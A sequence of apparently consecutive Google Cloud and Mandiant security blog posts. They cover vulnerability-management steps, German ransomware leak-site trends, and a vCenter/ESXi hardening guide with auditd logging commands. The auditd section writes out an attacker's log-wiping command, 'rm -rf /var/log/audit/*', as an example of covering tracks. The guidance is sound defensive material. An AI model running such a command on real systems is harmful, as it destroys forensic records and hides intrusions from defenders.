Begin with the tools, processes, and coverage already in place. Scan everything currently in scope, identify Critical and High findings, and remediate them according to agreed urgency and service levels. At the same time, establish a process for tracking vulnerabilities that are being actively exploited in the wild, along with the emergency patching actions they may require. This phase should also confirm that system owners have defined maintenance windows and the operational support needed to meet remediation SLAs.

Foundation Step #2 — Expand System Scanning Coverage

Broaden vulnerability scanning across all major operating systems in use, including Windows, macOS, and Linux, for both endpoints and servers. Additionally, expand coverage to include other network attached systems, including the network devices themselves.The objective is to reduce blind spots and ensure vulnerability visibility extends across the environment, rather than covering only isolated segments.

Foundation Step #3 — Confirm Asset Inventory and Ownership

Maintain a simple, accurate inventory of key asset classes, including endpoints, servers, public-facing systems, network infrastructure, and specialized devices such as medical equipment where applicable. Every asset should have a clearly defined owner responsible for remediation coordination, exception handling, and lifecycle accountability.

Foundation Step #4 — Establish Standard Program Reporting

Create a consistent reporting cadence that gives stakeholders a clear view of program health and risk. Reporting should include scanning coverage by asset class, top Critical and High vulnerabilities, public-facing exposure, patch compliance, SLA performance, and documented exceptions or risk acceptances. The goal is to produce reporting that drives decisions, not just dashboards that provide visibility.

Foundation Step #5 — Prioritize Public-Facing and High-Risk Vulnerabilities

Identify the attack surface and prioritize vulnerabilities affecting internet-exposed systems, critical infrastructure, and assets that present the highest likelihood of exploitation or business impact. Remediation should be tracked against defined deadlines, with clear escalation paths when timelines are at risk. Where possible, internet-exposed systems should be engineered for automatic patching.

Foundation Step #6 — Develop a Specialized Process for High-Sensitivity Devices

For device classes that require additional coordination, such as medical devices, industrial control systems, or other operational technology, create a streamlined process for identifying vulnerabilities, coordinating with vendors or support teams, and applying compensating controls when patching is not feasible. These assets often require a different remediation model than standard IT systems.

Foundation Step #7 — Formalize Remediation SLAs and Exception Handling

Define remediation SLAs based on severity, exposure, and asset criticality, and ensure they are understood across security, IT, and business stakeholders. Just as importantly, establish a formal exception process for situations where remediation cannot be completed within the required timeframe. Exceptions should be documented, risk-assessed, approved by the appropriate stakeholders, and reviewed on a recurring basis.

How Google Can Help 

In today’s cybersecurity landscape, we’re not just defending against human attackers, but also against tactics supercharged by AI tools. To counter these machine-speed threats, Google provides a comprehensive, AI-integrated defensive ecosystem:

• Google Threat Intelligence: To combat the unprecedented volume of AI-generated exploits, Google Threat Intelligence enables a proactive 'assume breach' mentality. By fusing Mandiant’s codified frontline adversarial behaviors with Google’s global visibility of the threat landscape, security teams can move beyond static indicators to hunt for the subtle, non-linear behaviors characteristic of novel attacks. As both security noise and true threats escalate, the platform helps organizations better prioritize security resources based on active threats. By cutting through this growing noise to focus on what is truly important, security teams save time, ultimately empowering them to disrupt the adversary’s lifecycle long before they can reach their objective.

• Mandiant Security Consulting Services: Mandiant AI Security Consulting Solutions can help organizations design and operationalize this architecture. This includes helping organizations speed the identification and remediation of vulnerabilities through code reviews, mature their secure software development lifecycles (SSDLCs), and modernize the overall vulnerability management programs to handle the anticipated influx of vulnerabilities with greater efficiency and resilience. 

• Agentic SecOps: Google SecOps provides the foundation for an agentic security operations center. This allows teams to augment workflows with agents, combining dynamic AI with deterministic automation. Users can embed agents like the Triage and Investigation agent directly into workflows to accelerate response times. This agent autonomously investigates alerts, gathers evidence, and provides verdicts with clear explanations. This enables automated decision-making and remediation, freeing analysts to focus on high-priority threats rather than false positives. Orchestrating responses becomes more efficient as friction is reduced. Additionally, customers can build enterprise-ready security agents with remote Model Context Protocol (MCP) server support. 

• Mandiant Threat Defense (MTD): To augment internal teams, Mandiant Threat Defense leverages frontline intelligence and AI-enabled telemetry to proactively hunt for and disrupt advanced, machine-speed threats.

• Wiz: Organizations can maintain continuous asset discovery and dynamic posture management, ensuring they can rapidly identify and reduce their attack surface across complex, multi-cloud environments.Wiz uses AI agents, powered by environmental context, to democratize security, prioritize remediation, and proactively reduce the attack surface. Wiz continuously integrates the latest AI models to streamline vulnerability detection and response, and its Model Context Protocol (MCP) server enables security teams to use Wiz’s deep context and risk analysis in agentic workflows. The foundational strategy of Wiz connects cloud, code, and runtime, and employs three key agents:

• Shift Right (Red Agent): Scans the entire attack surface with an AI-powered attacker, using contextual information (cloud, workload, code analysis) to discover immediately exploitable risks.

• Shift Left (Green Agent): Helps customers identify root causes (cloud-to-code) and automatically deploy fixes using pre-built Wiz skills, and upcoming integrations with CodeMender to self-heal code bases.

• Detect and respond (Blue Agent): Automates the investigation of AI-enabled attacks at the speed of AI, allowing SOC teams to rapidly triage suspicious behavior and utilize runtime protection tools to detect exploitation.

• Google Cloud Model Armor: To secure the AI agents organizations deploy, Google Cloud Model Armor acts as a specialized LLM firewall, proactively screening inputs and outputs to block prompt injections and sensitive data leaks. 

Outlook and Implications

The cybersecurity community has the opportunity to serve as the voice of reason: the best response is proactive, disciplined preparation, not panic. While access to the publicly known, most capable frontier models is currently restricted to responsible actors, the availability of these technologies to a broader audience is inevitable. For defenders, this signals a surge in vulnerability management demands. The traditional window between a vulnerability’s disclosure and its active exploitation in the wild has already largely vanished; the primary concern now is the sheer number of exploits organizations will have to defend against simultaneously. Furthermore, the traditional concept of severity is shifting. In a landscape where AI agents can chain together multiple low-level vulnerabilities, the practical impact difference between a remote code execution (RCE) flaw and a seemingly benign local-only exploit is rapidly disappearing. 

To build on the foundational steps above, organizations can work with Mandiant to plan, prioritize, and implement an AI-enabled cyber defense strategy. AI gives security teams powerful new ways to understand their environments, automate remediation at scale, and strengthen workforce capabilities. By adopting AI-integrated defenses today, organizations can better prepare for the speed, scale, and sophistication of tomorrow’s adversaries.

Acknowledgement

This post wouldn't have been possible without numerous experts across Mandiant and GTIG. We specifically would like to thank Omar ElAhdan, Chris Linklater, Austin Larsen, Jared Semrau, Dan Nutting, John Hultquist, and Kimberly Goody for their contributions to this blog post.

Written by: Jamie Collier, Robin Grunewald

Germany has reclaimed its position as a primary focus for cyber extortion in Europe. While data leak site (DLS) posts rose almost 50% globally in 2025, Google Threat Intelligence (GTI) data shows that the surge is hitting German infrastructure harder and faster than its regional neighbors, marking a significant return to the high-pressure levels previously observed in the country during 2022 and 2023.

Cyber Criminals Pivoting Back to Germany

Germany moved to the forefront of European data leak targets in 2025. Following a 2024 period where the UK led in DLS victims, this pivot reflects a resurgence of the intense pressure observed across German infrastructure during 2022 and 2023.

This targeting is not a result of the overall number of companies within Europe, as Germany has fewer active enterprises than France or Italy. Instead, its sustained appeal to extortion groups is driven by its status as an advanced European economy with an increasingly digitized industrial base.

The speed of this escalation is particularly notable. Following a relative cooling of activity in 2024, Germany saw a 92% growth in leaks in 2025—a growth rate that tripled the European average.

While several factors influenced European ransomware trends in 2025, a striking contrast emerged in leak volumes. While shaming-site postings for UK-based organizations cooled, non-English speaking nations (particularly Germany) witnessed a surge. This shift reflects a convergence of several factors. The continued maturation of the cyber criminal ecosystem, including the use of AI to automate high-quality localization, is further eroding the historical protection offered by language barriers. However, this "linguistic pivot" is also supported by a shift in victim profiles. As larger "big game" targets in North America and the UK improve their security posture or utilize cyber insurance to resolve incidents privately, threat actors appear to be pivoting toward the "ripe markets" of the German Mittelstand (discussed in further detail later in this post). 

Google Threat Intelligence Group (GTIG) has also observed multiple cyber criminal groups post advertisements, seeking access to German companies and offering a proportion of any extortion fees obtained from victims. For example, dating back to November 2024, the threat actor known as Sarcoma has targeted businesses across several highly developed nations, including Germany.

While the 2025 data marks a record year for German leak volume, it is important to contextualize these figures with a degree of caution. Relying solely on DLS numbers can be misleading, as threat actors typically only post victims who refuse to initiate or complete extortion negotiations. Public reporting on the decline in ransom payment rates may be partially fueling the steady increase in shaming site posts as a secondary pressure tactic. Consequently, while the surge in Germany remains a critical trend, these metrics should be viewed as one component of a broader, more complex threat landscape.

The Diversifizierung of the Cyber Criminal Ecosystem 

2025 was characterized by significant turbulence in the cyber criminal ecosystem, driven by internal conflicts and aggressive law enforcement actions against dominant "big game" operations like LOCKBIT and ALPHV. The resulting vacuum at the top of the ransomware market has led to a more crowded field of agile, mid-tier DLS brands. In Germany, this rebalancing is highly visible: as established brands receded, a wider pool of competitors emerged to absorb the market share.

Following the disruption of LockBit, groups such as SAFEPAY and Qilin have gained significant prominence within the German landscape. SAFEPAY, in particular, claimed breaches of 76 German companies in 2025—accounting for 25% of all German victim posts that year. Meanwhile, Qilin tripled its operational tempo in Germany during Q3 2025. While this increase aligns with Qilin's broader global uptick in activity, their consistent focus on German targets (including 13 victims posted already in early 2026) demonstrates that their presence in the German landscape grows in lockstep with their global expansion.

No Such Thing as Too Small: Targeting of the Mittelstand 

There is a persistent myth that small businesses are "too small" to be targeted, a perception often fueled by the fact that large global corporations often dominate cyber crime headlines. However, the 2025 data tells a different story: organizations with fewer than 5,000 employees accounted for 96% of all ransomware leaks in Germany. While this figure largely aligns with the structural composition of the German economy, it underscores a concerning disconnect between public perception and actual targeting patterns. While "big game" hits make the news, the high volume of leaks among medium- and small-sized victims proves they are highly attractive targets for cyber criminals—often because they lack the extensive security personnel and specialized resources of their larger counterparts.

The targeting of the Mittelstand creates a significant secondary risk for large German enterprises and multinationals. While a major corporation may have robust defenses, its broader ecosystem of suppliers and contractors often manages sensitive data or maintains privileged network access. To address these systemic gaps, large enterprises must evolve from passive monitoring to a proactive third-party risk management framework, implementing vendor tiering and enforcing multifactor authentication to neutralize the lateral movement favored by modern cyber criminals.

Targeting Beyond the Assembly Line

Germany's industrial base remains the primary focus for cyber criminals with manufacturing accounting for 23% of all dark web leaks in 2025. However, the German cyber criminal landscape is characterized by its variety, with legal & professional services (14%), construction & engineering (11%), and retail (10%) all targeted.

The most notable shift in the 2025 data is the growth within the legal & professional services sector. This increase is likely intentional: these firms represent high-value targets because they serve as trusted custodians of sensitive client data, including intellectual property, financial strategies, and M&A plans. This allows cyber criminals to extract significant extortion payments beyond their primary victim and gain downstream leverage over an entire client base.

Outlook  

The data from 2025 reveals that the recent surge in German leaks is not an isolated incident, but a return to the high-pressure levels previously observed in 2022 and 2023. This resurgence reflects a more volatile and linguistically diverse European threat landscape going into 2026. The 92% growth in German leaks, tripling the European average for 2025, proves that non-English-speaking nations remain a primary target for global extortion groups. 

The disruption of established brands like LockBit has rebalanced the ecosystem into a crowded field of agile data leak sites, such as SafePay and Qilin. These groups appear to be hitting Germany in lockstep with their global expansion, identifying the Mittelstand and German professional services as high-volume, target-rich environments. As threat actors continue to exploit complex supply chains, smaller organizations will remain critical pivot points for those aiming at the top of the industrial stack.

Recommendations to assist in addressing the threat posed by ransomware are captured in our white paper, Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment.

Written by: Stuart Carrera

Introduction 

Building on recent BRICKSTORM research from Google Threat Intelligence Group (GTIG), this post explores the evolving threats facing virtualized environments. These operations directly target the VMware vSphere ecosystem, specifically the vCenter Server Appliance (VCSA) and ESXi hypervisors. To help organizations stay ahead of these risks, we will focus on the essential hardening strategies and mitigating controls necessary to secure these critical assets.

By establishing persistence at the virtualization layer, threat actors operate beneath the guest operating system where traditional security protections are ineffective. This strategy takes advantage of a significant visibility gap, as these control planes do not support standard endpoint detection and response (EDR) agents and have historically received less security focus than traditional endpoints.

This activity is not the result of a security vulnerability in vendors' products or infrastructure. Instead, these intrusions rely on the effectiveness of exploiting weak security architecture and identity design, a lack of host-based configuration enforcement, and limited visibility within the virtualization layer. By operating within these unmonitored areas, attackers can establish long-term persistence and gain administrative control over the entire vSphere environment.

This guide provides a framework for an infrastructure-centric defense. To help automate some of this guidance and secure the control plane against threats like BRICKSTORM, Mandiant released a vCenter Hardening Script that enforces these security configurations directly at the Photon Linux layer. By implementing these recommendations, organizations can transform the virtualization layer into a hardened environment capable of detecting and blocking persistent threats.

vCenter Server Appliance Risk Analysis

The vCenter Server Appliance (VCSA) is the central point of control and trust for the vSphere infrastructure. Running on a specialized Photon Linux operating system, the VCSA typically hosts critical Tier-0 workloads, such as domain controllers and privileged access management (PAM) solutions. This means the underlying virtualization platform inherits the same classification and risk profile as the highly sensitive assets it supports.

A compromise of the vCenter control plane grants an attacker administrative control over every managed ESXi host and virtual machine, effectively rendering traditional organizational tiering irrelevant. Because the VCSA is a purpose-built appliance, relying on out-of-the-box defaults is often insufficient; achieving a Tier-0 security standard requires intentional, custom security configurations at both the vSphere and the underlying Photon Linux layers. 

For a threat actor, the VCSA provides:

• Centralized Command: This provides the ability to power off, delete, or reconfigure any virtual machine combined with the ability to reset root credentials on any managed ESXi host providing full control of the hypervisor.

• Total Data Access: Access to the underlying storage (VMDKs) of every application, bypassing operating system permissions and traditional file system security. This provides a direct path for data exfiltration of Tier-0 assets.

• Command-Line Logging Gaps: If an attacker gains access to the underlying Photon OS shell via Secure Shell (SSH), there is no remote logging of the shell commands.

Management Plane Dependencies

Many organizations host their Active Directory domain controllers as virtual machines (VMs) within the same vSphere cluster managed by a vCenter that is itself AD-integrated. If an attacker disables the virtual network or encrypts the datastores, vCenter loses its ability to authenticate administrators. In a scenario where the VCSA is encrypted or wiped, the tools required for large-scale recovery are also lost. This forces organizations to rely on manual restores via individual ESXi hosts, extending the recovery timeline exponentially.

vSphere 7 End of Life

vSphere 7 reached End of Life (EoL) in October 2025. Organizations with this legacy technical debt will have vSphere software entering a window (until upgrade) where they will no longer receive critical security patches. This provides an opportunity for threat actors to exploit known vulnerabilities that will not be fixed.

The Strategic Advantage of Proactive Measures

To secure the control plane, organizations should adopt a strategy where the infrastructure itself acts as the primary line of defense. 

A resilient defense relies on two strategies:

• Technical Hardening: Defense-in-depth should be applied to the hypervisor layer to reduce the attack surface. Threat actors target insecure defaults. Hardening measures, such as enabling Secure Boot, strictly firewalling management interfaces, and disabling shell access, create “friction.” When a threat actor attempts to write a persistence script to /etc/rc.local.d or modify a startup file, a hardened configuration can block the action or force the actor to use methods that generate excessive log telemetry.

• High-Fidelity Signal Analysis: Threat actors are adept at rotating infrastructure and recompiling tools to change their signatures. Relying on a blocklist of bad IPs or a database of known malware hashes is not an effective strategy as threat actors utilize command-and-control servers and native binaries. Instead, the focus should shift entirely to behavioral patterns.

Building on this strategic foundation where the infrastructure itself acts as the primary line of defense, this guide outlines four phases of technical enforcement:

• Phase 1: Benchmarking and Base Controls – Establishing the foundation with Security Technical Implementation Guides (STIG) and patching.

• Phase 2: Identity Management – Hardening administrative access to critical infrastructure via PAWs and PAM solutions. 

• Phase 3: vSphere Network Hardening – Eliminating lateral movement with Zero Trust networking. 

• Phase 4: Logging and Forensic Visibility – Transforming the appliance into a proactive security sensor.

Phase 1: Benchmarking and Base Controls

Organizations should use the hardening measures outlined in the Mandiant vSphere hardening blog post combined with a strict patching and upgrade strategy. This provides a standard foundation to develop a strong security posture. By implementing an enhanced security baseline centered on the Photon Linux DISA STIG and VMware security hardening guides, organizations can harden the OS-level components that actors target.

Key Frameworks:

• VMware vSphere 7.0 VCSA Photon OS STIG

• VMware vSphere 8.0 VCSA Photon OS STIG

• VMware vSphere Security Hardening Guides

• VMware BRICKSTORM Resources and Defense

STIG Control Mappings to Attacker TTPs

vSphere Infrastructure-Level Data Exfiltration

Standard vSphere configurations typically mask high-risk permissions such as VM cloning and exporting within generalized administrative roles, allowing these actions to blend into the background noise of routine operations. This architecture provides a threat actor with the means to execute a silent exfiltration of a domain controller or credential repository. Organizations should transition from a model of permissive vSphere access control to a comprehensive cryptographic enforcement policy.

Resilience against vSphere data exfiltration requires a shift in how high-value virtual assets are governed:

• Mandatory Tier-0 Encryption: The enforcement of vSphere-native VM encryption is the primary and most essential control for all critical Tier-0 virtual machines. Organizations should mandate that every domain controller, certificate authority, and password vault be encrypted at the virtual machine level. 

• Cryptographic Isolation: Tier-0 assets should be subject to a unique key-locked encryption policy. By mandating a separate key management server (KMS) cluster for these workloads, organizations ensure that a threat actor cannot unlock a cloned disk without access to a secure, hardware-backed vault.

• Entitlement De-coupling: The "Clone" and "Export" privileges should be stripped from standard administrative roles. These functions should be reassigned to a highly restricted, auditable "break-glass" identity, used exclusively for emergency recovery scenarios.

Phase 2: Identity Management 

Best practices for Identity management in vSphere focuses on mandating all vSphere administrative sessions originate from dedicated privileged access workstations and utilize a PAM while also enforcing host-level hardening through the restriction of the vpxuser shell access.

Privileged Access Workstations (PAWs)

To prevent a threat actor from pivoting to the virtualization management plane from compromised user endpoints or appliances, administrative sessions should originate from a dedicated PAW. This is a dedicated hardened workstation only utilized when interfacing with vSphere administrative functions or interfaces.

Privileged Access Management (PAM)

PAM tools serve as an intermediary to mitigate specific threats such as the BRICKSTEAL credential harvester. By mandating credential injection, organizations ensure that passwords are never typed or exposed in memory on the target system where malware could intercept them. Automated secret rotation should be enforced to limit the lifespan of any compromised credentials, particularly for root passwords and service account keys. 

Authentication and Platform Hardening

Accounts residing in the default vsphere.local single sign-on (SSO) domain, most notably the built-in administrator@vsphere.local superuser, pose a specific security risk because they do not support modern MFA integration. Due to this limitation, organizations should limit the use of vsphere.local accounts for daily administration; instead, they should be treated as emergency "break-glass" credentials that are secured with complex, vaulted passwords. 

The vSphere VPXUSER

The vpxuser is a high-privilege system account provisioned by vCenter on each managed host to facilitate core infrastructure management operations.

A threat actor possessing administrative control over the VCSA effectively inherits the delegated authority of the vpxuser across the entire managed cluster. This entitlement enables a pivot from the management plane to the host-level shell.

The Primary Mitigation (vSphere ESXi 8.0+): Disabling Shell Access

To mitigate this lateral movement vector, vSphere 8.0 introduced a technical control allowing administrators to remove shell access from the vpxuser account. Enforce the following configuration on all ESXi 8.0+ hosts to restrict the vpxuser identity:

esxcli system account set -i vpxuser -s false

ESXi Host Identity Hardening Strategy

Additional hardening measures to prevent bypasses via alternative mechanisms, such as Host Profile manipulation, include:

Phase 3: vSphere Network Hardening

Securing the Virtualization Network

Establishing a vSphere Zero Trust network posture is the foundational requirement for securing a resilient Tier-0 architecture. Because the vCenter Server Appliance (VCSA) and ESXi hypervisors lack native MFA support for local privileged accounts, identity-based validation is insufficient as a singular point of security enforcement. Once a threat actor harvests these credentials, the logical network architecture remains the only defensive layer capable of preventing the threat actor's access to the vSphere management plane.

The architectural blueprint shown in Figure 2 is designed to eliminate these common internal attack vectors.

1. Immutable Virtual Local Area Network (VLAN) Segmentation

Organizations should enforce isolation through distinct 802.1Q VLAN IDs. Threat actors will exploit "flat" or poorly partitioned networks where a compromise in a low-security/low-trust zone (such as a demilitarized zone [DMZ] or edge appliance) can route directly to the Management VAMI (Port 5480) or shell access to the VCSA (Port 22) high-trust network segments.

2. Routing as a Security Barrier

The objective is to transform the Management Network into a secured zone. A threat actor residing on a standard corporate subnet or Wi-Fi network should be physically unable to communicate with the VCSA.

A. Virtual Routing and Forwarding (VRF) Segmentation

• Action: Transition all Infrastructure VLANs into a dedicated VRF instance on the core routing layer.

• Strategic Impact: This creates a defined routing table. Even in the event of a total compromise in the "User" or "Guest" VRF, the network hardware will have no route to the "Management" VRF, preventing lateral movement even if physical adjacency exists.

B. Privileged Admin Workstation (PAW Exclusive Access)

• Action: Deconstruct all direct routes from the general corporate LAN to the Management Subnet(s).

• Strategic Impact: Access to the Management Subnet should originate from a designated PAW IP range / subnet. All other internal subnets including standard user workstations, and guest VMs should have no route or be subject to an explicit Deny policy at the gateway. This forces the threat actor to attempt a compromise of the PAW, a significantly more hardened and monitored target, before they can connect to the VCSA.

3. Hardened Perimeter Ingress and Egress Filtering

These rules should be enforced at the hardware firewall or Layer 3 Core acting as the gateway for the Management Subnet. Because the VCSA's GUI-based native firewall is architecturally incapable of enforcing egress (outbound) policy, the upstream network gateway should enforce this policy. Organizations should implement a restrictive egress policy to ensure that if a VCSA is compromised, it cannot connect to malicious command-and-control infrastructure or exfiltrate Tier-0 data.

A. Ingress Filtering (Incoming to Management)

B. Egress Filtering (Outbound from VCSA/Management)

Note on Micro-Segmentation: While physical firewalls secure the management plane (North-South), VMware NSX Distributed Firewall (DFW) is the required standard for controlling guest-to-guest (East-West) traffic. Where applicable, NSX should be used to protect the data plane, while physical network hardware remains the control of the management plane.

Host-Based Firewalls for VCSA and ESXi

Host-based firewalls should be used in tandem with network-based firewalls to achieve a resilient defense-in-depth posture. While network firewalls effectively manage "North-South" traffic (entering/leaving the subnet), they are blind to "East-West" traffic within the same VLAN. Host-based firewalls are capable of blocking an attacker sitting on the same network segment. By enforcing security at the individual endpoint, organizations can ensure that the access path does not grant logical authority over the vSphere control plane.

The VCSA Host-Based Firewall (Photon OS)

Managed via the Virtual Appliance Management Interface (VAMI), the VCSA firewall is a native control to prevent lateral movement from compromised "trusted" entities such as backup servers or monitoring devices that share the management VLAN. The firewall should be used as a primary layer of defense to enforce the "principle of least privilege" at the host network level.

Strategic Implementation: The default policy should be transitioned to "Default Deny." You should explicitly define authorized IP addresses for every management service.

Recommended VCSA Host-Based Firewall Scoping

Limitations of the VAMI GUI Firewall

While the host-based firewall in the VCSA is a mandatory component of a defense-in-depth strategy, administrators should recognize that the standard VAMI GUI has the following operational limitations for defending against threat actors:

• Lack of Port-Specific Granularity:The VAMI GUI lacks the precision required for a True Zero Trust model. In all versions, creating an IP-based rule for a specific server (e.g., a virtual backup server) forces an "all-or-nothing" approach. To grant that server legitimate access to the vSphere API on TCP 443, the administrator is often forced to trust that IP for all ports.
  
  The Risk: This simultaneously grants the backup server unauthorized access to highly sensitive management interfaces like SSH (22) and the VAMI (5480). If an attacker compromises the backup server, they inherit an unobstructed management path to the VCSA shell. 

• Circular Administrative Dependency:A fundamental weakness of the native vCenter host-based firewall is its logical placement within the management plane it is intended to secure. The firewall is managed via the VAMI, which represents a secondary management entry point residing on TCP port 5480. This interface is logically adjacent to the standard vSphere Client (TCP port 443) and is frequently exposed across the same management network segments.
  
  The Risk: Credentials captured via BRICKSTEAL grant a threat actor authority to reconfigure the appliance itself. By pivoting to the VAMI, the actor can use their compromised role to deactivate the firewall. This circular dependency ensures the firewall is managed by the very application it is intended to protect, allowing a threat actor to disable controls using the system's own management tools.

• Forensic Visibility Gaps:The standard VAMI firewall is designed for connectivity management, not security monitoring. It does not generate remote logs for denied connection attempts or specific shell activity.
  
  The Risk: This blinds security teams to active lateral movement. A threat actor can scan the VCSA from an unauthorized VM multiple times or use a VCSA shell unmonitored; because the firewall does not notify when it blocks a connection and shell commands are not logged, the SOC remains unaware of the intrusion attempt until the final stage of the attack.

• Inbound-Only Policy Visibility Gaps:The GUI focuses primarily only on inbound traffic, leaving the Outbound (Egress) policy unmanaged.
  
  The Risk: Modern malware, such as the BRICKSTORM backdoor, relies on outbound "Phone Home" (C2) traffic to receive commands. A firewall that does not restrict outbound traffic allows a compromised VCSA to communicate with external malicious infrastructure without restriction.

To overcome these limitations of the native VAMI firewall, organizations are recommended to consider the transition from native vSphere GUI-based management to OS-level hardening using the underlying Photon Linux iptables or nftables.

• Tamper-Proof Integrity: By implementing granular firewall rules directly at the Photon Linux operating system level, the controls become independent of vCenter application permissions. Even a compromised vCenter Administrator cannot disable Photon OS-level rules via the VCSA GUI.

• Granular Logic: OS-level rules allow for strict "Source IP + Destination Port" mapping, ensuring a backup server only sees port 443 and is rejected on all others.

• Transformation into a Sensor: Unlike the VCSA GUI, Photon OS-level logging can be "bridged" to a security information and event management (SIEM) which transforms every denied connection attempt into a high-fidelity, early-warning alert.

The VAMI GUI firewall should be viewed as a basic security control, not a comprehensive Tier-0 security control. To effectively mitigate the attack vectors required for advanced campaigns, organizations should bypass the vulnerable GUI and enforce a strictly validated, granular, and logged firewall policy at the VCSA Photon Linux kernel level.

aside_block

<ListValue: [StructValue([('title', 'vCenter Hardening Script'), ('body', <wagtail.rich_text.RichText object at 0x7f65cc4b8dc0>), ('btn_text', 'Get the tool!'), ('href', 'https://github.com/mandiant/vcsa-hardening-tool'), ('image', None)])]>

The ESXi Hypervisor Firewall

The ESXi firewall is a stateful packet filter sitting between the VMkernel and the network. Restricting individual services to authorized management IPs is the only way to block an attacker on the same VLAN from reaching the host API or SSH port.

Strategic Implementation: Access should be restricted at the service level by deselecting "Allow connections from any IP address" and entering specific management IPs.

Recommended ESXi Host-Based Firewall Rules

Hardening as a Detection Enabler 

When the infrastructure is configured with a "Default Deny" posture, it creates the friction necessary to expose a threat actor. In an unhardened environment, an attacker's port scan or lateral movement attempt is silent and successful; in a hardened environment, those same actions become indicators of compromise.

The Multi-Layered Signal Chain

• Network-Level Visibility: Detection begins at the transit layer. Organizations should ensure that logging is enabled at the physical network and virtual switch (VDS) levels. This allows the SOC to track the "path" of a threat actor, identifying unauthorized scanning or connection attempts as they traverse subnets toward the vSphere management plane.

• Host-Based Firewall Logging (IPtables): While the VCSA provides a management GUI for its firewall, it does not natively log denied access. To transform the appliance into a sensor, host-based firewall logging is strictly dependent on a custom OS-level IPtables configuration. By adding a logging target to the underlying Photon OS kernel, every rejected packet is recorded, providing the proof that an unauthorized threat actor is attempting to access the VCSA.

• Immutable Logging: By enabling Remote Syslog Forwarding, these rejection logs are offloaded instantly. Even if an attacker eventually compromises the host, they cannot delete the local log sources.

Early Detection Signals

By correlating the denied access with identity-based events, organizations can identify a pattern of a BRICKSTORM lifecycle event in its earliest stages:

• Failed Authentication Alerts: A log entry in the standard auth.log (for SSH) or a vCenter UserLoginSessionEvent showing a "Failed Login Attempt" from an unauthorized internal IP is a high-value alert.

• Account Lockout Events: When an actor attempts to brute-force or use harvested credentials against local "break-glass" accounts (like administrator@vsphere.local), the resulting "Account Locked" event provides a high-priority signal that a targeted credential attack is in progress.

• Behavioral Pattern Correlation: The most powerful signal occurs when the SIEM correlates these disparate sources. For example, a Firewall Drop (via IPtables) followed immediately by a Failed Login (via SSO) from the same source IP is a high-confidence indicator of an active intrusion attempt.

Network segmentation at the switch level is a prerequisite, but host-based firewalls are the primary enforcement point of a vSphere Zero Trust architecture. By complementing network-based firewalls with host-level filtering, organizations can eliminate the visibility gap on the management VLAN and transform the VCSA and ESXi hosts into sensors capable of exposing an adversary at the earliest stage of an intrusion.

Phase 4: Logging and Forensic Visibility

To facilitate the detection within the vSphere control plane, organizations should achieve comprehensive telemetry across the previously unmonitored layers of the underlying VCSA operating system.

The primary operational advantage exploited in this campaign is the lack of visibility inherent in the virtualization control plane. This monitoring visibility gap is driven by three critical factors:

• The Logging Gap: By default, VCSA does not forward kernel-level audit logs. If an attacker wipes the local disk, the evidence of their residency is permanently erased.

• The Restricted Logging Pipeline: Standard modern log forwarding agents such as Fluentd or Logstash are not supported for installation on the VCSA. To maintain appliance integrity, defenders are restricted to using the native rsyslog daemon. This prevents on-host log enrichment or advanced parsing, forcing the SIEM to process raw, legacy data streams. This technical complexity often leads to critical kernel-level signals being misclassified or ignored.

• Operational Telemetry Fragmentation: Security indicators are frequently buried within standard cluster and application level events. As detailed in the vCenter Event Mapping, critical actions like VmNetworkAdapterAddedEvent or VmClonedEvent are logged as routine infrastructure management tasks. Because these signals are operational rather than security-focused, a threat actor's movements are easily disguised as routine tasks.

What is auditd?

The Linux Audit Daemon (auditd) is the kernel's primary subsystem for tracking security-relevant events. Unlike standard "system logs" (which record application and management events), auditd records system calls. It sees exactly what commands were executed in the shell, which files were modified, and which users escalated privileges. The default Photon auditd rules cover Identity (useradd/del) and privilege escalation (sudo/privileged).

auditd Status: Verifying the Current Defensive Posture

auditd is the core forensic foundation for detecting low-level movements. While VCSA Photon logs provide visibility into management tasks, they are fundamentally blind to the "living-off-the-land" (LotL) techniques that define this campaign. This threat actor operates deep within the VCSA shell to execute binary injections, modify startup scripts using sed, and utilize sudo to fuel the BRICKSTEAL credential harvester. Only auditd, by recording the underlying system calls (syscalls), provides a granular record of these command-line maneuvers. In an environment where traditional EDR is absent, auditd captures the minute behavioral patterns that standard logs ignore.

The Default Configuration Gap

Modern VCSAs (vSphere 7 and 8) ship with a pre-configured set of STIG rules (located in /etc/audit/rules.d/audit.STIG.rules). However, there is a restriction in the default configuration:

• Local Only: By default, auditd writes to a local file (/var/log/audit/audit.log).

• Invisible to VAMI: The remote logging you configure in the VAMI (Port 5480) does not include these kernel logs by default.

• The Attack Vector: Actors can gain root access, perform their actions, and simply run rm -rf /var/log/audit/* to delete the evidence. Unless these logs are streamed to your SIEM in real time, your forensic trail is non-existent.

• Local Log Rotation: Since the local log location is /var/log/audit/audit.log, it is subject to rotation and deletion. If an attacker wipes this file, the remote syslog version is your only forensic record.

All auditd logs should be forwarded via the VCSA remote syslog. Remote forwarding of auditd is dependent on a "auditd bridge" configuration. If /etc/audisp/plugins.d/syslog.conf is set to active = yes, these logs will be tagged and forwarded. If set to no, they are stored locally only. To enable remote logging of auditd events and ensure forensic persistence, the following steps should be taken:

Step A: Check Service and Rule Status

Before activating the auditd remote logging bridge, you should determine if your VCSA is currently configured for auditd. Run these commands as root:

# 1. Check if the audit service is active
systemctl status auditd

# 2. List the rules currently enforced by the kernel memory
auditctl -l

If auditctl -l returns nothing, your rules have not been loaded, and the kernel is not "watching" for attacker behavior.

Step B: Check the "auditd Bridge" Status

Verify if kernel events are stored on the local disk or being forwarded to your remote SIEM.

# Check the active status of the syslog plugin
# Note: vSphere 8 still uses the /etc/audisp/ path for compatibility
grep "^active" /etc/audisp/plugins.d/syslog.conf

If this returns active = no, remote logging of auditd is not configured. The logs are sent only to the VCSA local disk where an attacker can easily wipe them.

Mapping Standard STIG Rules to Attacker TTPs

If your auditctl -l output shows the standard rules are now loaded, you have the following rules in place mapped to identified attacker tactics, techniques, and procedures (TTPs). These rules move you from periodic auditing or threat hunting to real-time behavioral detection.

Activating Remote Logging for auditd

Step 1: Enable the Syslog Plugin

The Audit Dispatcher (audisp) should be configured to send events to the local syslog service so they can be forwarded via the VCSA remote syslog.

# Use sed to change the status from 'no' to 'yes'
sed -i 's/^active = no/active = yes/' /etc/audisp/plugins.d/syslog.conf

# Verify the change
grep "^active" /etc/audisp/plugins.d/syslog.conf

Step 2: Restart the Audit Daemon

You should reload the service to initialize the dispatcher and the syslog bridge:

kill -HUP $(pidof auditd)

Step 3: Verify the Bridge Is Operational

